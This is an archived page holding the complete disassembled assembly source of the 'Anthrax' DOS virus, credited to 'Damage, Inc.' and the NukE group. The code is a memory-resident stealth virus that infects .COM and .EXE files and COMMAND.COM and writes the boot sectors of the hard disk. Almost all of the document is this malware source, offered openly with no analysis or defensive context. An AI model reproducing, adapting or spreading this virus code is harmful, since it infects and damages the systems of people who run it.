home *** CD-ROM | disk | FTP | other *** search
- ;**************************************************************************
-
- ;** ANTHRAX VIRUS **
-
- ;** Created: 2 Jan 90 Programmer: (c) Damage, Inc. **
-
- ;** [NukE] Notes: Another Stealth Type of Virus! and this one is Detected**
-
- ;** by Scan (McAfee & Assc.) And does copy itself to *.COM **
-
- ;** *.EXE and the Command.Com and is Memory Resident! **
-
- ;** **
-
- ;** Sources brought to you by -> Rock Steady [NukE]s Head Programmer! **
-
- ;** **
-
- ;**************************************************************************
-
-
-
- .286p
-
-
-
- DATA_1E EQU 46CH ; (0000:046C=2DH)
-
- DATA_2E EQU 4 ; (65AC:0004=0)
-
- DATA_3E EQU 7 ; (65AC:0007=0)
-
- DATA_10E EQU 5FEH ; (65AC:05FE=0)
-
-
-
- SEG_A SEGMENT BYTE PUBLIC
-
- ASSUME CS:SEG_A, DS:SEG_A
-
-
-
-
-
- ORG 100h
-
-
-
- ANTHRAX PROC FAR
-
-
-
- START:
-
- JMP LOC_24 ; (043B)
-
- DB 13 DUP (0)
-
- DB 95H, 8CH, 0C8H, 2DH, 0, 0
-
- DB 0BAH, 0, 0, 50H, 52H, 1EH
-
- DB 33H, 0C9H, 8EH, 0D9H, 0BEH, 4CH
-
- DB 0, 0B8H, 0CDH, 0, 8CH, 0CAH
-
- DB 87H, 44H, 44H, 87H, 54H, 46H
-
- DB 52H, 50H, 0C4H, 1CH, 0B4H, 13H
-
- DB 0CDH, 2FH, 6, 53H, 0B4H, 13H
-
- DB 0CDH, 2FH, 58H, 5AH, 87H, 4
-
- DB 87H, 54H, 2, 52H, 50H, 51H
-
- DB 56H, 0A0H, 3FH, 4, 0A8H, 0FH
-
- DB 75H, 6CH, 0EH, 7, 0BAH, 80H
-
- DB 0, 0B1H, 3, 0BBH, 77H, 6
-
- DB 0B8H, 1, 2, 50H, 0CDH, 13H
-
- DB 58H, 0B1H, 1, 0BBH, 0, 4
-
- DB 0CDH, 13H, 0EH, 1FH, 0BEH, 9BH
-
- DB 3, 8BH, 0FBH, 0B9H, 5EH, 0
-
- DB 56H, 0F3H, 0A6H, 5EH, 8BH, 0FBH
-
- DB 0B9H, 62H, 0, 56H, 0F3H, 0A4H
-
- DB 5FH, 0BEH, 12H, 8, 0B9H, 65H
-
- DB 0, 0F3H, 0A4H, 74H, 1EH, 89H
-
- DB 4DH, 0E9H, 0B1H, 5CH, 89H, 4DH
-
- DB 9BH, 88H, 6DH, 0DCH, 0B1H, 2
-
- DB 33H, 0DBH, 0B8H, 2, 3, 0CDH
-
- DB 13H, 49H, 0BBH, 0, 4, 0B8H
-
- DB 1, 3, 0CDH, 13H, 49H, 0B4H
-
- DB 19H, 0CDH, 21H, 50H, 0B2H, 2
-
- DB 0B4H, 0EH, 0CDH, 21H, 0B7H, 2
-
- DB 0E8H, 87H, 1, 5AH, 0B4H, 0EH
-
- DB 0CDH, 21H, 5EH, 1FH, 8FH, 4
-
- DB 8FH, 44H, 2, 8FH, 44H, 44H
-
- DB 8FH, 44H, 46H, 1FH, 1EH, 7
-
- DB 95H, 0CBH
-
- copyright DB '(c) Damage, Inc.'
-
- DB 0, 0B0H, 3, 0CFH, 6, 1EH
-
- DB 57H, 56H, 50H, 33H, 0C0H, 8EH
-
- DB 0D8H, 0BEH, 86H, 0, 0EH, 7
-
- DB 0BFH, 8, 6, 0FDH, 0ADH, 0ABH
-
- DB 0A5H, 0AFH, 87H, 0F7H, 0ADH, 0FCH
-
- DB 74H, 11H, 1EH, 7, 0AFH, 0B8H
-
- DB 7, 1, 0ABH, 8CH, 0C8H, 0ABH
-
- DB 8EH, 0D8H, 0BFH, 68H, 0, 0A5H
-
- DB 0A5H, 58H, 5EH, 5FH, 1FH, 7
-
- DB 2EH, 0FFH, 2EH, 0, 6, 6
-
- DB 1EH, 57H, 56H, 52H, 51H, 53H
-
- DB 50H, 0EH, 1FH, 0BEH, 6, 6
-
- DB 33H, 0C9H, 8EH, 0C1H, 0BFH, 84H
-
- DB 0, 0A5H, 0A5H, 0B4H, 52H, 0CDH
-
- DB 21H, 26H, 8BH, 47H, 0FEH, 8EH
-
- DB 0D8H, 0BBH, 3, 0, 3, 7
-
- DB 40H, 8EH, 0D8H, 81H, 7, 80H
-
- DB 0, 0EH, 7, 0B7H, 12H, 0E8H
-
- DB 0F2H, 0, 58H, 5BH, 59H, 5AH
-
- DB 5EH, 5FH, 1FH, 7, 2EH, 0FFH
-
- DB 2EH, 6, 6
-
-
-
- LOC_RET_1:
-
- RETN
-
- DB 91H, 0AEH, 0B4H, 0A8H, 0BFH
-
- DB 20H, 31H, 39H, 39H, 30H
-
-
-
- ANTHRAX ENDP
-
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- ; SUBROUTINE
-
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
-
-
- SUB_1 PROC NEAR
-
- MOV AX,3D00H
-
- INT 21H ; DOS Services ah=function 3Dh
-
- ; open file, al=mode,name@ds:dx
-
- JC LOC_RET_1 ; Jump if carry Set
-
- XCHG AX,BX
-
- MOV AX,1220H
-
- INT 2FH ; Multiplex/Spooler al=func 20h
-
- PUSH BX
-
- MOV BL,ES:[DI]
-
- MOV AX,1216H
-
- INT 2FH ; Multiplex/Spooler al=func 16h
-
- POP BX
-
- MOV SI,462H
-
- MOV DX,SI
-
- MOV CL,18H
-
- MOV AH,3FH ; '?'
-
- INT 21H ; DOS Services ah=function 3Fh
-
- ; read file, cx=bytes, to ds:dx
-
- XOR AX,CX
-
- JNZ LOC_7 ; Jump if not zero
-
- PUSH ES
-
- POP DS
-
- MOV BYTE PTR [DI+2],2
-
- XOR DX,DX ; Zero register
-
- LOC_2:
-
- IN AL,DX ; port 0, DMA-1 bas&add ch 0
-
- CMP AL,10H
-
- JB LOC_2 ; Jump if below
-
- ADD AX,[DI+11H]
-
- ADC DX,[DI+13H]
-
- AND AL,0F0H
-
- CMP AX,0FB00H
-
- JAE LOC_7 ; Jump if above or =
-
- MOV [DI+15H],AX
-
- MOV [DI+17H],DX
-
- PUSH CS
-
- POP DS
-
- PUSH AX
-
- MOV CL,10H
-
- DIV CX ; ax,dx rem=dx:ax/reg
-
- SUB AX,[SI+8]
-
- MOV CX,AX
-
- SUB AX,[SI+16H]
-
- MOV DS:DATA_2E,AX ; (65AC:0004=0)
-
- LODSW ; String [si] to ax
-
- XOR AX,5A4DH
-
- JZ LOC_3 ; Jump if zero
-
- XOR AX,1717H
-
- LOC_3:
-
- PUSHF ; Push flags
-
- JNZ LOC_4 ; Jump if not zero
-
- MOV [SI],AX
-
- CMP AX,[SI+0AH]
-
- XCHG AX,[SI+12H]
-
- MOV DS:DATA_3E,AX ; (65AC:0007=0)
-
- MOV [SI+14H],CX
-
- MOV CX,4DCH
-
- JZ LOC_5 ; Jump if zero
-
- ADD WORD PTR [SI+8],48H
-
- LOC_4:
-
- MOV CX,65H
-
- LOC_5:
-
- PUSH CX
-
- MOV CX,39BH
-
- MOV AH,40H ; '@'
-
- INT 21H ; DOS Services ah=function 40h
-
- ; write file cx=bytes, to ds:dx
-
- XOR CX,AX
-
- POP CX
-
- JNZ LOC_6 ; Jump if not zero
-
- MOV DX,400H
-
- MOV AH,40H ; '@'
-
- INT 21H ; DOS Services ah=function 40h
-
- ; write file cx=bytes, to ds:dx
-
- XOR CX,AX
-
- LOC_6:
-
- POP DX
-
- POP AX
-
- LOC_7:
-
- JNZ LOC_11 ; Jump if not zero
-
- MOV ES:[DI+15H],CX
-
- MOV ES:[DI+17H],CX
-
- PUSH DX
-
- POPF ; Pop flags
-
- JNZ LOC_9 ; Jump if not zero
-
- MOV AX,ES:[DI+11H]
-
- MOV DX,ES:[DI+13H]
-
- MOV CH,2
-
- DIV CX ; ax,dx rem=dx:ax/reg
-
- TEST DX,DX
-
- JZ LOC_8 ; Jump if zero
-
- INC AX
-
- LOC_8:
-
- MOV [SI],DX
-
- MOV [SI+2],AX
-
- JMP SHORT LOC_10 ; (0328)
-
- LOC_9:
-
- MOV BYTE PTR [SI-2],0E9H
-
- ADD AX,328H
-
- MOV [SI-1],AX
-
- LOC_10:
-
- MOV CX,18H
-
- LEA DX,[SI-2] ; Load effective addr
-
- MOV AH,40H ; '@'
-
- INT 21H ; DOS Services ah=function 40h
-
- ; write file cx=bytes, to ds:dx
-
- LOC_11:
-
- OR BYTE PTR ES:[DI+6],40H ; '@'
-
- MOV AH,3EH ; '>'
-
- LOC_12:
-
- INT 21H ; DOS Services ah=function 3Eh
-
- ; close file, bx=file handle
-
- RETN
-
- SUB_1 ENDP
-
-
-
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- ; SUBROUTINE
-
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
-
-
- SUB_2 PROC NEAR
-
- MOV DS,CX
-
- MOV BL,DS:DATA_1E ; (0000:046C=34H)
-
- PUSH CS
-
- POP DS
-
- INC DATA_7 ; (65AC:045E=0FC00H)
-
- MOV DX,64BH
-
- CALL SUB_3 ; (036D)
-
- MOV SI,60AH
-
- MOV BYTE PTR [SI],5CH ; '\'
-
- INC SI
-
- XOR DL,DL ; Zero register
-
- MOV AH,47H ; 'G'
-
- INT 21H ; DOS Services ah=function 47h
-
- ; get present dir,drive dl,1=a:
-
- MOV DX,39BH
-
- LOC_13:
-
- MOV AH,3BH ; ';'
-
- INT 21H ; DOS Services ah=function 3Bh
-
- ; set current dir, path @ ds:dx
-
- JCXZ LOC_14 ; Jump if cx=0
-
- MOV AH,51H ; 'Q'
-
- INT 21H ; DOS Services ah=function 51h
-
- ; get active PSP segment in bx
-
- MOV DS,BX
-
- MOV DX,80H
-
-
-
- ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
-
-
- SUB_3:
-
- MOV AH,1AH
-
- JMP SHORT LOC_12 ; (0339)
-
- LOC_14:
-
- JC LOC_17 ; Jump if carry Set
-
- MOV SI,39CH
-
- XOR DL,DL ; Zero register
-
- MOV AH,47H ; 'G'
-
- INT 21H ; DOS Services ah=function 47h
-
- ; get present dir,drive dl,1=a:
-
- CMP CH,BYTE PTR DS:[3DCH] ; (65AC:03DC=81H)
-
- LOC_15:
-
- MOV CL,32H ; '2'
-
- MOV DX,29DH
-
- MOV AH,4EH ; 'N'
-
- JZ LOC_20 ; Jump if zero
-
- INT 21H ; DOS Services ah=function 4Eh
-
- ; find 1st filenam match @ds:dx
-
- JC LOC_17 ; Jump if carry Set
-
- LOC_16:
-
- MOV DX,64BH
-
- MOV AX,4F01H
-
- MOV SI,3DCH
-
- MOV DI,668H
-
- STOSB ; Store al to es:[di]
-
- MOV CL,0DH
-
- REPE CMPSB ; Rep zf=1+cx >0 Cmp [si] to es:[di]
-
- JZ LOC_20 ; Jump if zero
-
- CMP CH,[DI-2]
-
- JE LOC_20 ; Jump if equal
-
- INT 21H ; DOS Services ah=function 4Fh
-
- ; find next filename match
-
- JNC LOC_16 ; Jump if carry=0
-
- XOR AL,AL ; Zero register
-
- JMP SHORT LOC_15 ; (0380)
-
- DB 2AH, 2EH, 2AH, 0
-
- LOC_17:
-
- MOV CL,41H ; 'A'
-
- MOV DI,39CH
-
- CMP CH,[DI]
-
- MOV AL,CH
-
- MOV BYTE PTR DS:[3DCH],AL ; (65AC:03DC=81H)
-
- JZ LOC_23 ; Jump if zero
-
- REPNE SCASB ; Rep zf=0+cx >0 Scan es:[di] for al
-
- DEC DI
-
- MOV CL,41H ; 'A'
-
- MOV AL,5CH ; '\'
-
- STD ; Set direction flag
-
- REPNE SCASB ; Rep zf=0+cx >0 Scan es:[di] for al
-
- LEA SI,[DI+2] ; Load effective addr
-
- MOV DI,3DCH
-
- CLD ; Clear direction
-
- LOC_18:
-
- LODSB ; String [si] to al
-
- TEST AL,AL
-
- STOSB ; Store al to es:[di]
-
- JNZ LOC_18 ; Jump if not zero
-
- MOV DX,2CDH
-
- XOR CL,CL ; Zero register
-
- JMP SHORT LOC_13 ; (035E)
-
- DB 2EH, 2EH, 0
-
- LOC_19:
-
- MOV DX,64BH
-
- MOV AH,4FH ; 'O'
-
- LOC_20:
-
- INT 21H ; DOS Services ah=function 4Fh
-
- ; find next filename match
-
- JC LOC_17 ; Jump if carry Set
-
- DATA_6 DW 69BEH
-
- DB 6, 0BFH, 0DCH, 3, 80H, 3CH
-
- DB 2EH, 74H, 0ECH, 88H, 2DH, 8BH
-
- DB 0D6H, 0F6H, 44H, 0F7H, 10H, 75H
-
- DB 0DBH
-
- LOC_21:
-
- LODSB ; String [si] to al
-
- TEST AL,AL
-
- STOSB ; Store al to es:[di]
-
- JNZ LOC_21 ; Jump if not zero
-
- DEC SI
-
- STD ; Set direction flag
-
- LODSW ; String [si] to ax
-
- LODSW ; String [si] to ax
-
- CLD ; Clear direction
-
- CMP AX,4558H
-
- JE LOC_22 ; Jump if equal
-
- CMP AX,4D4FH
-
- JNE LOC_19 ; Jump if not equal
-
- LOC_22:
-
- PUSH BX
-
- CALL SUB_1 ; (0262)
-
- POP BX
-
- XOR CX,CX ; Zero register
-
- MOV ES,CX
-
- MOV AL,ES:DATA_1E ; (0000:046C=38H)
-
- PUSH CS
-
- POP ES
-
- SUB AL,BL
-
- CMP AL,BH
-
- JB LOC_19 ; Jump if below
-
- LOC_23:
-
- MOV DX,80H
-
- MOV CL,3
-
- MOV BX,200H
-
- MOV AX,301H
-
- INT 13H ; Disk dl=drive 0: ah=func 03h
-
- ; write sectors from mem es:bx
-
- MOV DX,60AH
-
- JMP LOC_13 ; (035E)
-
- SUB_2 ENDP
-
-
-
- LOC_24:
-
- XCHG AX,BP
-
- MOV DI,100H
-
- MOV BX,[DI+1]
-
- SUB BX,228H
-
- MOV AX,DI
-
- LEA SI,[BX+3FDH] ; Load effective addr
-
- MOVSW ; Mov [si] to es:[di]
-
- MOVSB ; Mov [si] to es:[di]
-
- XCHG AX,BX
-
- MOV CL,4
-
- SHR AX,CL ; Shift w/zeros fill
-
- MOV CX,DS
-
- ADD AX,CX
-
- MOV DX,0BH
-
- JMP SHORT LOC_26 ; (04CD)
-
- DB 0B8H, 0D0H
-
- DATA_7 DW 0FC00H
-
- DATA_8 DW 8587H
-
- DB 68H, 0FAH, 0ABH, 8CH, 0C8H, 0E2H
-
- DB 0F7H, 0A3H, 86H, 0, 0ABH, 8EH
-
- DB 0D8H, 0B4H, 8, 0CDH, 13H, 49H
-
- DB 49H, 0A1H, 0E9H, 3, 84H, 0E4H
-
- DB 74H, 1, 91H, 0B2H, 80H, 0B8H
-
- DB 3, 3, 0CDH, 13H, 91H, 84H
-
- DB 0E4H, 75H, 2
-
- DB 2CH, 40H
-
- LOC_25:
-
- DEC AH
-
- MOV DATA_6,AX ; (65AC:03E9=69BEH)
-
- INC DATA_8 ; (65AC:0460=8587H)
-
- XOR DH,DH ; Zero register
-
- MOV CX,1
-
- MOV BX,400H
-
- MOV AX,301H
-
- INT 13H ; Disk dl=drive ?: ah=func 03h
-
- ; write sectors from mem es:bx
-
- MOV DL,DH
-
- RETF ; Return far
-
- DB 41H, 4EH, 54H, 48H, 52H, 41H
-
- DB 58H, 0EH, 1FH, 83H, 2EH, 13H
-
- DB 4, 2, 0CDH, 12H, 0B1H, 6
-
- DB 0D3H, 0E0H, 8EH, 0C0H, 0BFH, 0
-
- DB 4, 0BEH, 0, 7CH, 0B9H, 0
-
- DB 1, 8BH, 0DEH, 0FCH, 0F3H, 0A5H
-
- DB 8EH, 0D8H, 0BAH, 27H, 4
-
- LOC_26:
-
- PUSH CX
-
- PUSH BX
-
- PUSH AX
-
- PUSH DX
-
- RETF ; Return far
-
- DB 8EH, 0C1H, 0B1H, 4, 0BEH, 0B0H
-
- DB 5
-
-
-
- LOCLOOP_27:
-
- ADD SI,0EH
-
- LODSW ; String [si] to ax
-
- CMP AL,80H
-
- JE LOC_29 ; Jump if equal
-
- LOOP LOCLOOP_27 ; Loop if cx > 0
-
-
-
- LOC_28:
-
- INT 18H ; ROM basic
-
- LOC_29:
-
- XCHG AX,DX
-
- STD ; Set direction flag
-
- LODSW ; String [si] to ax
-
- XCHG AX,CX
-
- MOV AX,201H
-
- INT 13H ; Disk dl=drive a: ah=func 02h
-
- ; read sectors to memory es:bx
-
- CMP WORD PTR DS:DATA_10E,0AA55H ; (65AC:05FE=0)
-
- JNE LOC_28 ; Jump if not equal
-
- PUSH ES
-
- PUSH DS
-
- POP ES
-
- POP DS
-
- XOR DH,DH ; Zero register
-
- MOV CX,2
-
- XOR BX,BX ; Zero register
-
- MOV AX,202H
-
- INT 13H ; Disk dl=drive a: ah=func 02h
-
- ; read sectors to memory es:bx
-
- JMP $-10FH
-
- DB 0, 0, 0, 0, 0CDH, 20H
-
- DB 0CCH
-
- DB 112 DUP (1AH)
-
-
-
- SEG_A ENDS
-
-
-
-
-
-
-
- END START
-